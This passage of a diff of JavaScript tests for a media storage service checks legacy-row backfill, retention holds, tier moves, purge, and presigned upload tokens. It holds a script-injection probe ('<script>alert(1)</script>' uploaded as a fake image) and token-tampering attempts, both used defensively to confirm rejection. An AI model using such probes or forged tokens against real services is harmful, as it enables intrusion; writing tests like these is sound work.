is_public, storage_provider, storage_key, thumbnail_url, clips_only, is_recording, created_at) OVERRIDING SYSTEM VALUE++ VALUES (@id, @app, @user, @title, @file, @size, @dur, @vis, @pub, @prov, @key, @thumb, @co, 0, @at) RETURNING id`);++ const V = async (o) => await insVod.run({ app: 'live', user: 5, title: 'V', file: null, size: 0, dur: 60, vis: 'public', pub: 1, prov: 'local', key: null, thumb: null, co: 0, at: '2025-06-01 10:00:00', ...o });++ await V({ id: 1, file: vodFile, size: 1000, thumb: '/t/vod-1-111.jpg', at: '2025-01-01 00:00:00' }); // local, present++ await V({ id: 2, file: '/old/host/vods/old.webm', size: 5 * MB, vis: 'unlisted', pub: 0, prov: 'b2', key: 'vods/old.webm' }); // offloaded++ await V({ id: 3, file: '/old/host/vods/pop.mp4', size: 2.5 * MB, prov: 'r2', key: 'vods/pop.mp4', thumb: 'https://elsewhere.example/x.jpg' });++ await V({ id: 4, file: '/opt/hobostreamer/data/vods/gone.webm', size: 50 }); // local but gone++ await V({ id: 5, file: path.join(process.env.VOD_PATH, 'eph.webm'), co: 1 }); // clips-only++ await V({ id: 6, dur: 0 }); // ghost: no file yet++ await V({ id: 7, app: 'games', file: vodFile, size: 1000, vis: 'private', pub: 0 });++ const clipFile = write(path.join(process.env.CLIPS_PATH, 'clip-1.webm'), 300);++ await d.prepare("INSERT INTO clips (id, app_id, vod_id, user_id, title, file_path, status, visibility, is_public, start_time, end_time) OVERRIDING SYSTEM VALUE VALUES (1, 'live', 1, 9, 'C', ?, 'ready', 'public', 1, 5, 15) RETURNING id").run(clipFile);++ await d.prepare("INSERT INTO clips (id, app_id, vod_id, user_id, title, file_path, status) OVERRIDING SYSTEM VALUE VALUES (2, 'live', 1, 9, 'C2', '', 'processing') RETURNING id").run();++ write(path.join(process.env.FILES_PATH, 'live', 'abc123-a.txt'), 12);++ await d.prepare("INSERT INTO files (key, app_id, user_id, original_name, size, mime, sha256) VALUES ('abc123-a.txt', 'live', 3, 'a.txt', 12, 'text/plain', ?)").run('a'.repeat(64));++ const shot = write(path.join(process.env.PASTES_PATH, 'screenshots', 's1.png'), 40);++ const avatar = write(path.join(process.env.PASTES_PATH, 'screenshots', 'avatar-n4.webp'), 30);++ await d.prepare("INSERT INTO pastes (id, app_id, slug, user_id, type, title, content, visibility, screenshot_path, metadata) OVERRIDING SYSTEM VALUE VALUES (1, 'live', 'shot-one', 2, 'screenshot', 'S', '', 'public', ?, NULL) RETURNING id").run(shot);++ await d.prepare("INSERT INTO pastes (id, app_id, slug, user_id, type, title, content, visibility, screenshot_path, metadata) OVERRIDING SYSTEM VALUE VALUES (2, 'network', 'avatar-four', 4, 'screenshot', 'Avatar', '', 'unlisted', ?, ?) RETURNING id").run(avatar, JSON.stringify({ kind: 'avatar', mime_type: 'image/webp' }));++ await d.prepare("INSERT INTO pastes (id, app_id, slug, type, title, content, visibility) OVERRIDING SYSTEM VALUE VALUES (3, 'live', 'text-three', 'paste', 'T', 'hello', 'public') RETURNING id").run();++ await d.prepare("INSERT INTO pastes (id, app_id, slug, type, title, content, visibility, screenshot_path) OVERRIDING SYSTEM VALUE VALUES (4, 'live', 'shot-nopath', 'screenshot', 'S', '', 'public', NULL) RETURNING id").run();++ const mtimes = [vodFile, clipFile, shot, avatar].map(p => fs.statSync(p).mtimeMs);++++ // ── Dry run: a full report, nothing written ──++ const dry = await backfill({ dryRun: true });++ assert.strictEqual(dry.dry_run, true);++ assert.deepStrictEqual(dry.counts.vod, { seen: 7, created: 6, updated: 0, skipped: 1 });++ assert.strictEqual((await d.prepare('SELECT COUNT(*) c FROM media_objects').get()).c, 0, 'dry run writes no objects');++ assert.strictEqual((await d.prepare('SELECT COUNT(*) c FROM vods WHERE object_id IS NOT NULL').get()).c, 0, 'dry run links no rows');++ assert.strictEqual(model.parseJson((await d.prepare("SELECT value FROM media_settings WHERE key = 'objects.backfill.last_report'").get())?.value, null), null, 'dry run stores no report');++ console.log('✅ dry run reports without writing');++++ // ── Real run ──++ const r = await backfill();++ assert.deepStrictEqual(r.counts.vod, { seen: 7, created: 6, updated: 0, skipped: 1 });++ assert.deepStrictEqual(r.counts.clip, { seen: 2, created: 2, updated: 0, skipped: 0 });++ assert.deepStrictEqual(r.counts.file, { seen: 1, created: 1, updated: 0, skipped: 0 });++ assert.deepStrictEqual(r.counts.screenshot, { seen: 2, created: 1, updated: 0, skipped: 1 });++ assert.deepStrictEqual(r.counts.avatar, { seen: 1, created: 1, updated: 0, skipped: 0 });++ assert.deepStrictEqual(r.counts.thumbnail, { seen: 2, created: 1, updated: 0, skipped: 1 });++ assert.deepStrictEqual(r.skipped.map(s => s.reason).sort(), ['clips-only recording (ephemeral, never published)', 'external thumbnail url', 'screenshot paste without a file path']);++ assert.deepStrictEqual(r.errors, []);++ assert.ok(await d.prepare("SELECT value FROM media_settings WHERE key = 'objects.backfill.last_report'").get(), 'report recorded');++ assert.deepStrictEqual([vodFile, clipFile, shot, avatar].map(p => fs.statSync(p).mtimeMs), mtimes, 'no bytes touched');++++ const v1 = await objOf('vods', 1), v2 = await objOf('vods', 2), v3 = await objOf('vods', 3), v4 = await objOf('vods', 4), v6 = await objOf('vods', 6), v7 = await objOf('vods', 7);++ for (const o of [v1, v2, v3, v4, v6, v7]) {++ assert.ok(MED.test(o.id), o.id);++ assert.ok(contracts.validate('media.media-ref@1', { media_id: o.id }).valid, 'canonical id is a valid media-ref');++ assert.ok(contracts.validate('media.media-ref@1', { media_id: o.legacy_ref }).valid, `legacy ref valid: ${o.legacy_ref}`);++ }++ assert.ok(v1.id < v2.id, 'ids sort by the original creation time');++ assert.strictEqual(v1.legacy_ref, 'legacy:live:vod:1');++ assert.deepStrictEqual([v1.kind, v1.visibility, v1.lifecycle_status, v1.size_bytes, v1.owner_app, v1.owner_user_id, v1.mime_type], ['vod', 'public', 'ready', 1000, 'live', 5, 'video/webm']);++ assert.strictEqual((await locs(v1)).local.state, 'present');++ assert.strictEqual((await locs(v1)).local.key, vodFile);++ assert.ok((await locs(v1)).local.verified_at, 'a local file that exists is verified present');++ assert.deepStrictEqual([v1.canonical_provider, v1.canonical_key], ['local', vodFile]);++ assert.deepStrictEqual(Object.keys(await locs(v2)), ['b2'], 'offloaded vod: B2 copy only');++ assert.deepStrictEqual([(await locs(v2)).b2.state, (await locs(v2)).b2.bucket, (await locs(v2)).b2.key, (await locs(v2)).b2.storage_class, v2.canonical_provider], ['pending', 'bkt-b2', 'vods/old.webm', 'cold', 'b2']);++ assert.deepStrictEqual(Object.keys(await locs(v3)).sort(), ['b2', 'r2'], 'R2 cache implies the B2 canonical');++ assert.deepStrictEqual([(await locs(v3)).r2.state, (await locs(v3)).r2.storage_class, v3.canonical_provider], ['pending', 'cache', 'b2']);++ assert.strictEqual((await locs(v4)).local.state, 'missing', 'a local file that is not on disk is recorded missing');++ assert.strictEqual((await model.listLocations(v6.id)).length, 0);++ assert.strictEqual(v6.lifecycle_status, 'uploading');++ assert.deepStrictEqual([v7.app_id, v7.namespace, v7.visibility], ['games', 'games', 'private']);++ assert.strictEqual((await d.prepare('SELECT object_id FROM vods WHERE id = 5').get()).object_id, null, 'clips-only row stays unprojected');++++ const c1 = await objOf('clips', 1), c2 = await objOf('clips', 2);++ assert.deepStrictEqual([c1.kind, c1.lifecycle_status, c1.size_bytes, (await locs(c1)).local.state], ['clip', 'ready', 300, 'present']);++ assert.strictEqual(c2.lifecycle_status, 'uploading', 'a clip still being cut is uploading');++ const rel = await d.prepare("SELECT * FROM media_relationships WHERE from_object_id = ? AND relation = 'clip_of'").get(c1.id);++ assert.strictEqual(rel.to_object_id, v1.id, 'clip_of links the clip to its vod');++ assert.deepStrictEqual(JSON.parse(rel.metadata), { start_time: 5, end_time: 15 });++++ const f = await objOf('files', 'abc123-a.txt');++ assert.deepStrictEqual([f.kind, f.visibility, f.content_hash, f.mime_type, f.legacy_ref, (await locs(f)).local.checksum], ['file', 'public', 'a'.repeat(64), 'text/plain', 'legacy:live:file:abc123-a.txt', 'a'.repeat(64)]);++ const s1 = await objOf('pastes', 1), av = await objOf('pastes', 2);++ assert.deepStrictEqual([s1.kind, s1.legacy_ref, s1.size_bytes], ['screenshot', 'legacy:live:paste:shot-one', 40]);++ assert.deepStrictEqual([av.kind, av.app_id, av.legacy_ref, av.visibility, av.mime_type], ['avatar', 'network', 'legacy:network:avatar:avatar-four', 'unlisted', 'image/webp']);++ assert.strictEqual((await d.prepare('SELECT object_id FROM pastes WHERE id = 3').get()).object_id, null, 'text pastes have no bytes object');++++ const tv = await model.getVariant(v1.id, 'thumbnail');++ const th = await model.getObject(tv.derived_object_id);++ assert.deepStrictEqual([th.kind, th.legacy_ref, th.visibility, (await locs(th)).local.state], ['thumbnail', 'legacy:live:thumbnail:vod-1-111.jpg', 'public', 'present']);++ assert.ok(await d.prepare("SELECT 1 FROM media_relationships WHERE from_object_id = ? AND relation = 'thumbnail_of' AND to_object_id = ?").get(th.id, v1.id));++ console.log('✅ backfill: one object per row, locations mirror where the bytes are, relationships + thumbnail variants');++++ // ── Idempotent ──++ const countAll = async () => (await Promise.all(['media_objects', 'media_locations', 'media_relationships', 'media_variants'].map(async t => (await d.prepare(`SELECT COUNT(*) c FROM ${t}`).get()).c)));++ const before = await countAll();++ const again = await backfill();++ assert.strictEqual(again.totals.created, 0, 'a re-run creates nothing');++ assert.strictEqual(again.counts.vod.updated, 6);++ assert.deepStrictEqual(await countAll(), before);++ assert.strictEqual((await objOf('vods', 1)).id, v1.id, 'ids are stable');++ assert.strictEqual((await backfill({ onlyMissing: true })).totals.created, 0, 'only-missing finds nothing new');++ console.log('✅ backfill is idempotent');++++ // ── Remote knowledge survives a re-projection ──++ await model.setLocationState((await locs(v2)).b2.id, { state: 'present', size_bytes: 5 * MB });++ await model.sync('vod', 2);++ assert.strictEqual((await locs(v2)).b2.state, 'present', 'a verified remote copy is not downgraded to pending');++ console.log('✅ verified remote state is kept across syncs');++++ // ── Write hooks on the inherited APIs ──++ write(path.join(process.env.FILES_PATH, 'live', 'def456-b.png'), 20);++ await db.createFile({ key: 'def456-b.png', app_id: 'live', user_id: 3, original_name: 'b.png', size: 20, mime: 'image/png', sha256: 'b'.repeat(64) });++ assert.strictEqual((await objOf('files', 'def456-b.png')).content_hash, 'b'.repeat(64), 'file upload creates its object');++ await db.setVodVisibility(1, 'private');++ assert.strictEqual((await model.getObject(v1.id)).visibility, 'private', 'visibility follows');++ assert.strictEqual((await model.getObject(th.id)).visibility, 'unlisted', 'a private vod thumbnail is still reachable by name: unlisted');++ // Thumbnail regenerated: same object, new file.++ write(path.join(process.env.THUMBNAILS_PATH, 'vod-1-222.jpg'), 60);++ await db.run("UPDATE vods SET thumbnail_url = '/t/vod-1-222.jpg' WHERE id = 1");++ await model.sync('vod', 1);++ const th2 = await model.getObject((await model.getVariant(v1.id, 'thumbnail')).derived_object_id);++ assert.strictEqual(th2.id, th.id, 'one thumbnail object per parent, updated in place');++ assert.deepStrictEqual([th2.legacy_ref, th2.size_bytes], ['legacy:live:thumbnail:vod-1-222.jpg', 60]);++ const newClip = (await db.createClip({ app_id: 'live', vod_id: 1, user_id: 9, title: 'N', file_path: clipFile, status: 'ready' })).lastInsertRowid;++ assert.strictEqual((await objOf('clips', newClip)).kind, 'clip', 'clip creation creates its object');++ await db.run('DELETE FROM clips WHERE id = ?', [newClip]);++ const deadClip = await d.prepare('SELECT * FROM media_objects WHERE legacy_ref = ?').get(`legacy:live:clip:${newClip}`);++ assert.strictEqual(deadClip.lifecycle_status, 'deleted', 'deleting the row marks its object deleted (trigger — every delete path)');++ assert.ok(deadClip.deleted_at);++ console.log('✅ inherited writes keep the model current');++++ // ── Tier move re-projection ──++ const v4row = await d.prepare('SELECT * FROM vods WHERE id = 4').get();++ await db.run("UPDATE vods SET storage_provider = 'b2', storage_key = 'vods/gone.webm' WHERE id = 4");++ await model.afterTierMove(4, ['b2']);++ assert.deepStrictEqual(Object.keys(await locs(v4)), ['b2'], 'after offload: the local row goes, the B2 copy appears');++ assert.strictEqual((await locs(v4)).b2.state, 'present', 'the copy the move verified is present');++ assert.ok((await locs(v4)).b2.verified_at);++ assert.ok(v4row);++ console.log('✅ tier moves update media_locations');++++ (async () => {++ // ── Retention holds ──++ const hold = await model.placeHold({ object_id: v1.id, kind: 'dmca', reason: 'notice #1', created_by: 'admin:alex' });++ assert.strictEqual(await model.isHeld(v1.id), true);++ await assert.rejects(async () => await db.run('DELETE FROM vods WHERE id = 1'), /retention hold/, 'a held row cannot be deleted by any path');++ assert.ok(await d.prepare('SELECT 1 FROM vods WHERE id = 1').get(), 'row still there');++ await assert.rejects(async () => await db.run("UPDATE media_objects SET lifecycle_status = 'deleted' WHERE id = ?", [v1.id]), /retention hold/);++ await vodStorage.deleteVodObjects(await d.prepare('SELECT * FROM vods WHERE id = 1').get());++ assert.ok(fs.existsSync(vodFile), 'held bytes are not deleted');++ const cold = await vodStorage.moveToCold(1);++ assert.deepStrictEqual([cold.ok, cold.held], [false, true], 'held objects are not demoted to B2');++ const prom = await vodStorage.promoteToR2(1);++ assert.strictEqual(prom.held, true, 'nor promoted');++ await db.run("UPDATE vods SET storage_provider = 'r2' WHERE id = 1");++ assert.strictEqual((await vodStorage.demoteFromR2(1)).held, true, 'nor demoted from R2');++ await db.run("UPDATE vods SET storage_provider = 'local' WHERE id = 1");++ await assert.rejects(async () => await model.placeHold({ object_id: v1.id, kind: 'whim' }), /hold kind/);++ await model.releaseHold(hold.id, 'admin:alex');++ assert.strictEqual(await model.isHeld(v1.id), false);++ assert.strictEqual((await model.listHolds(v1.id, { includeReleased: true }))[0].released_by, 'admin:alex');++ console.log('✅ holds block deletion and tier moves until released');++++ // ── Invariant (thresholds from env: target 1, warn 2, max 3 MB) ──++ assert.strictEqual(invariant.classify(0.5 * MB), 'ok');++ assert.strictEqual(invariant.classify(1.5 * MB), 'above_target');++ assert.strictEqual(invariant.classify(2.5 * MB), 'warn');++ assert.strictEqual(invariant.classify(5 * MB), 'violation');++ assert.strictEqual(invariant.wouldViolate({ kind: 'vod', visibility: 'private', size_bytes: 9 * MB }), false, 'private objects are not public playback');++ assert.strictEqual(invariant.wouldViolate({ kind: 'file', visibility: 'public', size_bytes: 9 * MB }), false, 'only playback kinds');++ const rows = async () => await d.prepare('SELECT o.legacy_ref, v.level, v.resolved_at FROM media_invariant_violations v JOIN media_objects o ON o.id = v.object_id ORDER BY o.legacy_ref').all();++ assert.deepStrictEqual((await rows()).map(x => [x.legacy_ref, x.level, x.resolved_at]), [['legacy:live:vod:2', 'violation', null], ['legacy:live:vod:3', 'warn', null]], 'sync records public playback objects over warn/max');++ const scan = await invariant.scan({ record: false });++ assert.deepStrictEqual(scan.counts, { ok: 2, above_target: 0, warn: 1, violation: 1 }); // ok: clip 1, vod 4 (vod 1 is private now)++ await db.setVodVisibility(3, 'private');++ assert.ok((await rows()).find(x => x.legacy_ref === 'legacy:live:vod:3').resolved_at, 'making it private resolves the row');++ console.log('✅ public object-size invariant is policy: classified, recorded, resolved');++++ // ── Native soft delete + purge ──++ const nid = await model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready', visibility: 'private', size_bytes: 4 });++ const npath = write(model.objectFilePath(await model.getObject(nid)), 4);++ await model.upsertLocation(nid, { provider: 'local', key: npath, state: 'present', size_bytes: 4 });++ const heldId = await model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready', size_bytes: 4 });++ const hpath = write(model.objectFilePath(await model.getObject(heldId)), 4);++ await model.upsertLocation(heldId, { provider: 'local', key: hpath, state: 'present' });++ const deleted = await model.softDelete(await model.getObject(nid), { by: 'test' });++ assert.strictEqual(deleted.lifecycle_status, 'deleted');++ assert.ok(model.parseJson(deleted.metadata).retention_until, 'retention recorded');++ assert.ok(fs.existsSync(npath), 'soft delete keeps the bytes');++ assert.strictEqual(await model.purgeExpired({ retentionDays: 1 }), 0, 'inside the retention period nothing is purged');++ const h2 = await model.placeHold({ object_id: heldId, kind: 'evidence' });++ await assert.rejects(async () => await model.softDelete(await model.getObject(heldId)), (e) => e.code === 'media.object.held');++ await model.releaseHold(h2.id);++ await model.softDelete(await model.getObject(heldId));++ await model.placeHold({ object_id: heldId, kind: 'evidence' }); // held after deletion: still kept++ assert.strictEqual(await model.purgeExpired({ retentionDays: 0 }), 1);++ assert.ok(!fs.existsSync(npath), 'expired native bytes are purged');++ assert.ok(fs.existsSync(hpath), 'held bytes survive the purge');++ assert.ok(model.parseJson((await model.getObject(nid)).metadata).purged_at);++ assert.strictEqual(await model.restore(await model.getObject(nid)), null, 'a purged object cannot be restored');++ console.log('✅ native soft delete keeps bytes for the retention period; purge skips held objects');++++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('objects model + backfill: all checks passed');++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -10,224 +10,226 @@ const path = require('path');const http = require('http');const crypto = require('crypto');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-multipart-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.VOD_PATH = dir('vods');--process.env.FILES_PATH = dir('files');--process.env.OBJECTS_PATH = dir('objects');--process.env.THUMBNAILS_PATH = dir('thumbnails');--process.env.MEDIA_PUBLIC_URL = 'https://media.test';--process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';--process.env.MEDIA_OBJECT_MAX_MB = '1'; // single-part limit--process.env.MEDIA_MULTIPART_MAX_MB = '4';--process.env.MEDIA_MULTIPART_MIN_PART_MB = '0'; // small parts in tests--process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-multipart-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.VOD_PATH = dir('vods');++ process.env.FILES_PATH = dir('files');++ process.env.OBJECTS_PATH = dir('objects');++ process.env.THUMBNAILS_PATH = dir('thumbnails');++ process.env.MEDIA_PUBLIC_URL = 'https://media.test';++ process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';++ process.env.MEDIA_OBJECT_MAX_MB = '1'; // single-part limit++ process.env.MEDIA_MULTIPART_MAX_MB = '4';++ process.env.MEDIA_MULTIPART_MIN_PART_MB = '0'; // small parts in tests++ process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';--const db = require('../server/db/database');--const model = require('../server/objects/model');--const multipart = require('../server/objects/multipart');--const objectRoutes = require('../server/objects/routes');--const express = require('express');++ const db = require('../server/db/database');++ const model = require('../server/objects/model');++ const multipart = require('../server/objects/multipart');++ const objectRoutes = require('../server/objects/routes');++ const express = require('express');--db.upsertApp({ app_id: 'live', api_key: 'live-key' });--db.upsertApp({ app_id: 'games', api_key: 'games-key' });--db.upsertApp({ app_id: 'tiny', api_key: 'tiny-key', quota_bytes: 1024 * 1024 });++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });++ await db.upsertApp({ app_id: 'games', api_key: 'games-key' });++ await db.upsertApp({ app_id: 'tiny', api_key: 'tiny-key', quota_bytes: 1024 * 1024 });--const app = express();--app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);--app.put('/api/v2/:app/objects/:id/multipart/:uploadId/parts/:n', ...objectRoutes.partHandlers);--app.use(express.json());--app.use('/api/v2/:app/objects', objectRoutes);--app.use('/o', objectRoutes.publicRouter);--const server = http.createServer(app);--const sha = (b) => crypto.createHash('sha256').update(b).digest('hex');--const mac = (parts) => crypto.createHmac('sha256', 'test-signing-secret').update(parts.join('\n')).digest('base64url');++ const app = express();++ app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);++ app.put('/api/v2/:app/objects/:id/multipart/:uploadId/parts/:n', ...objectRoutes.partHandlers);++ app.use(express.json());++ app.use('/api/v2/:app/objects', objectRoutes);++ app.use('/o', objectRoutes.publicRouter);++ const server = http.createServer(app);++ const sha = (b) => crypto.createHash('sha256').update(b).digest('hex');++ const mac = (parts) => crypto.createHmac('sha256', 'test-signing-secret').update(parts.join('\n')).digest('base64url');--(async () => {-- await new Promise((r) => server.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${server.address().port}`;-- const local = (u) => base + String(u).replace('https://media.test', '');-- const call = async (method, p, { bearer = 'live-key', body, headers = {}, raw } = {}) => {-- const h = { ...headers };-- if (bearer) h.authorization = `Bearer ${bearer}`;-- let payload;-- if (raw !== undefined) payload = raw;-- else if (body !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }-- const res = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body: payload, redirect: 'manual' });-- const text = await res.text();-- let json = null; try { json = JSON.parse(text); } catch { /* not json */ }-- return { status: res.status, body: json, text, headers: res.headers };-- };-- const O = '/api/v2/live/objects';-- const now = Math.floor(Date.now() / 1000);++ (async () => {++ await new Promise((r) => server.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${server.address().port}`;++ const local = (u) => base + String(u).replace('https://media.test', '');++ const call = async (method, p, { bearer = 'live-key', body, headers = {}, raw } = {}) => {++ const h = { ...headers };++ if (bearer) h.authorization = `Bearer ${bearer}`;++ let payload;++ if (raw !== undefined) payload = raw;++ else if (body !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }++ const res = await fetch(p.startsWith('http') ? p : base + p, { method, headers: h, body: payload, redirect: 'manual' });++ const text = await res.text();++ let json = null; try { json = JSON.parse(text); } catch { /* not json */ }++ return { status: res.status, body: json, text, headers: res.headers };++ };++ const O = '/api/v2/live/objects';++ const now = Math.floor(Date.now() / 1000);-- // ── 1. Presigned single PUT: scoped to tenant, object and size; expiring ──-- const hello = Buffer.from('hello world');-- let r = await call('POST', O, { body: { kind: 'file', mime_type: 'text/plain', size_bytes: hello.length, upload_ttl: 120 } });-- assert.strictEqual(r.status, 201, JSON.stringify(r.body));-- const a = r.body;-- assert.ok(/^v2\.\d+\.11\.[\w-]+$/.test(a.upload.token), 'the token names its size');-- assert.ok(Math.abs(Date.parse(a.upload.expires_at) - (Date.now() + 120000)) < 5000, 'upload_ttl sets the expiry');-- assert.deepStrictEqual([a.upload.method, a.upload.content_type, a.upload.max_bytes], ['PUT', 'text/plain', 11]);-- r = await call('POST', O, { body: { kind: 'file', mime_type: 'text/plain', size_bytes: hello.length } });-- const b = r.body;-- r = await call('PUT', local(b.upload.url).replace(b.id, a.id), { bearer: null, raw: hello });-- assert.deepStrictEqual([r.status, r.body.code], [401, 'media.upload_token.invalid'], "another object's token");-- const [, exp, , sig] = a.upload.token.split('.');-- r = await call('PUT', `${O}/${a.id}/content?token=v2.${exp}.12.${sig}`, { bearer: null, raw: Buffer.from('hello world!') });-- assert.strictEqual(r.status, 401, 'a token cannot be re-scoped to another size');-- r = await call('PUT', local(a.upload.url).replace('/api/v2/live/', '/api/v2/games/'), { bearer: null, raw: hello });-- assert.strictEqual(r.status, 404, 'nor used on another tenant');-- const past = now - 5;-- r = await call('PUT', `${O}/${a.id}/content?token=v2.${past}.11.${mac(['put2', 'live', a.id, 11, past])}`, { bearer: null, raw: hello });-- assert.strictEqual(r.status, 401, 'expired');-- const otherTenant = now + 100;-- r = await call('PUT', `${O}/${a.id}/content?token=v2.${otherTenant}.11.${mac(['put2', 'games', a.id, 11, otherTenant])}`, { bearer: null, raw: hello });-- assert.strictEqual(r.status, 401, 'a token signed for another tenant');-- r = await call('PUT', local(a.upload.url), { bearer: null, raw: hello });-- assert.strictEqual(r.status, 200, JSON.stringify(r.body));-- r = await call('POST', `${O}/${a.id}/complete?token=${encodeURIComponent(a.upload.token)}`, { bearer: null });-- assert.deepStrictEqual([r.status, r.body.lifecycle_status], [200, 'ready']);-- r = await call('POST', `${O}/${b.id}/upload-url`, { body: { ttl: 300 } });-- assert.ok(r.status === 200 && r.body.url.includes('token=v2.'), 'a fresh presigned URL');-- r = await call('POST', `${O}/${b.id}/upload-url`, { body: { ttl: 5 } });-- assert.strictEqual(r.status, 400);-- const legacyExp = now + 300;-- r = await call('PUT', `${O}/${b.id}/content?token=${legacyExp}.${crypto.createHmac('sha256', 'test-signing-secret').update(`put\n${b.id}\n${legacyExp}`).digest('base64url')}`, { bearer: null, raw: hello });-- assert.strictEqual(r.status, 200, 'tokens of the earlier form work until they expire');-- console.log('✅ presigned single-PUT URLs: scoped to tenant, object and size, expiring');++ // ── 1. Presigned single PUT: scoped to tenant, object and size; expiring ──++ const hello = Buffer.from('hello world');++ let r = await call('POST', O, { body: { kind: 'file', mime_type: 'text/plain', size_bytes: hello.length, upload_ttl: 120 } });++ assert.strictEqual(r.status, 201, JSON.stringify(r.body));++ const a = r.body;++ assert.ok(/^v2\.\d+\.11\.[\w-]+$/.test(a.upload.token), 'the token names its size');++ assert.ok(Math.abs(Date.parse(a.upload.expires_at) - (Date.now() + 120000)) < 5000, 'upload_ttl sets the expiry');++ assert.deepStrictEqual([a.upload.method, a.upload.content_type, a.upload.max_bytes], ['PUT', 'text/plain', 11]);++ r = await call('POST', O, { body: { kind: 'file', mime_type: 'text/plain', size_bytes: hello.length } });++ const b = r.body;++ r = await call('PUT', local(b.upload.url).replace(b.id, a.id), { bearer: null, raw: hello });++ assert.deepStrictEqual([r.status, r.body.code], [401, 'media.upload_token.invalid'], "another object's token");++ const [, exp, , sig] = a.upload.token.split('.');++ r = await call('PUT', `${O}/${a.id}/content?token=v2.${exp}.12.${sig}`, { bearer: null, raw: Buffer.from('hello world!') });++ assert.strictEqual(r.status, 401, 'a token cannot be re-scoped to another size');++ r = await call('PUT', local(a.upload.url).replace('/api/v2/live/', '/api/v2/games/'), { bearer: null, raw: hello });++ assert.strictEqual(r.status, 404, 'nor used on another tenant');++ const past = now - 5;++ r = await call('PUT', `${O}/${a.id}/content?token=v2.${past}.11.${mac(['put2', 'live', a.id, 11, past])}`, { bearer: null, raw: hello });++ assert.strictEqual(r.status, 401, 'expired');++ const otherTenant = now + 100;++ r = await call('PUT', `${O}/${a.id}/content?token=v2.${otherTenant}.11.${mac(['put2', 'games', a.id, 11, otherTenant])}`, { bearer: null, raw: hello });++ assert.strictEqual(r.status, 401, 'a token signed for another tenant');++ r = await call('PUT', local(a.upload.url), { bearer: null, raw: hello });++ assert.strictEqual(r.status, 200, JSON.stringify(r.body));++ r = await call('POST', `${O}/${a.id}/complete?token=${encodeURIComponent(a.upload.token)}`, { bearer: null });++ assert.deepStrictEqual([r.status, r.body.lifecycle_status], [200, 'ready']);++ r = await call('POST', `${O}/${b.id}/upload-url`, { body: { ttl: 300 } });++ assert.ok(r.status === 200 && r.body.url.includes('token=v2.'), 'a fresh presigned URL');++ r = await call('POST', `${O}/${b.id}/upload-url`, { body: { ttl: 5 } });++ assert.strictEqual(r.status, 400);++ const legacyExp = now + 300;++ r = await call('PUT', `${O}/${b.id}/content?token=${legacyExp}.${crypto.createHmac('sha256', 'test-signing-secret').update(`put\n${b.id}\n${legacyExp}`).digest('base64url')}`, { bearer: null, raw: hello });++ assert.strictEqual(r.status, 200, 'tokens of the earlier form work until they expire');++ console.log('✅ presigned single-PUT URLs: scoped to tenant, object and size, expiring');-- // ── 2. Content types ──-- r = await call('POST', O, { body: { kind: 'screenshot', mime_type: 'text/html' } });-- assert.deepStrictEqual([r.status, r.body.code], [415, 'media.object.unsupported_type']);-- r = await call('POST', O, { body: { kind: 'vod', visibility: 'private', mime_type: 'image/png' } });-- assert.strictEqual(r.status, 415, 'a vod is video or audio');-- r = await call('POST', O, { body: { kind: 'avatar', mime_type: 'image/svg+xml' } });-- assert.strictEqual(r.status, 415, 'no SVG where images are served inline');-- r = await call('POST', O, { body: { kind: 'screenshot', mime_type: 'image/png' } });-- const fake = r.body.id;-- r = await call('PUT', `${O}/${fake}/content`, { raw: Buffer.from('<html><script>alert(1)</script></html>') });-- assert.strictEqual(r.status, 200);-- r = await call('POST', `${O}/${fake}/complete`);-- assert.deepStrictEqual([r.status, r.body.code], [415, 'media.object.content_mismatch'], 'bytes that are not the declared image');-- assert.strictEqual(model.getObject(fake).lifecycle_status, 'uploading', 'the object stays uploading');-- r = await call('POST', O, { body: { kind: 'screenshot' } });-- r = await call('PUT', `${O}/${r.body.id}/content`, { raw: Buffer.from('<svg/>'), headers: { 'content-type': 'image/svg+xml' } });-- assert.deepStrictEqual([r.status, r.body.code], [415, 'media.object.unsupported_type'], 'an undeclared type comes from the PUT and is checked too');-- r = await call('POST', O, { body: { kind: 'file', mime_type: 'image/gif' } });-- const gifId = r.body.id;-- await call('PUT', `${O}/${gifId}/content`, { raw: Buffer.from('%PDF-1.4 not a gif') });-- r = await call('POST', `${O}/${gifId}/complete`);-- assert.deepStrictEqual([r.status, r.body.code], [415, 'media.object.content_mismatch'], 'inline-served types are checked for any kind');-- r = await call('POST', O, { body: { kind: 'file', mime_type: 'application/zip' } });-- const zipId = r.body.id;-- await call('PUT', `${O}/${zipId}/content`, { raw: Buffer.from('anything at all') });-- assert.strictEqual((await call('POST', `${O}/${zipId}/complete`)).status, 200, 'attachments are taken as declared');-- console.log('✅ content types: kind rules at init and PUT, byte checks at complete for inline-served types');++ // ── 2. Content types ──++ r = await call('POST', O, { body: { kind: 'screenshot', mime_type: 'text/html' } });++ assert.deepStrictEqual([r.status, r.body.code], [415, 'media.object.unsupported_type']);++ r = await call('POST', O, { body: { kind: 'vod', visibility: 'private', mime_type: 'image/png' } });++ assert.strictEqual(r.status, 415, 'a vod is video or audio');++ r = await call('POST', O, { body: { kind: 'avatar', mime_type: 'image/svg+xml' } });++ 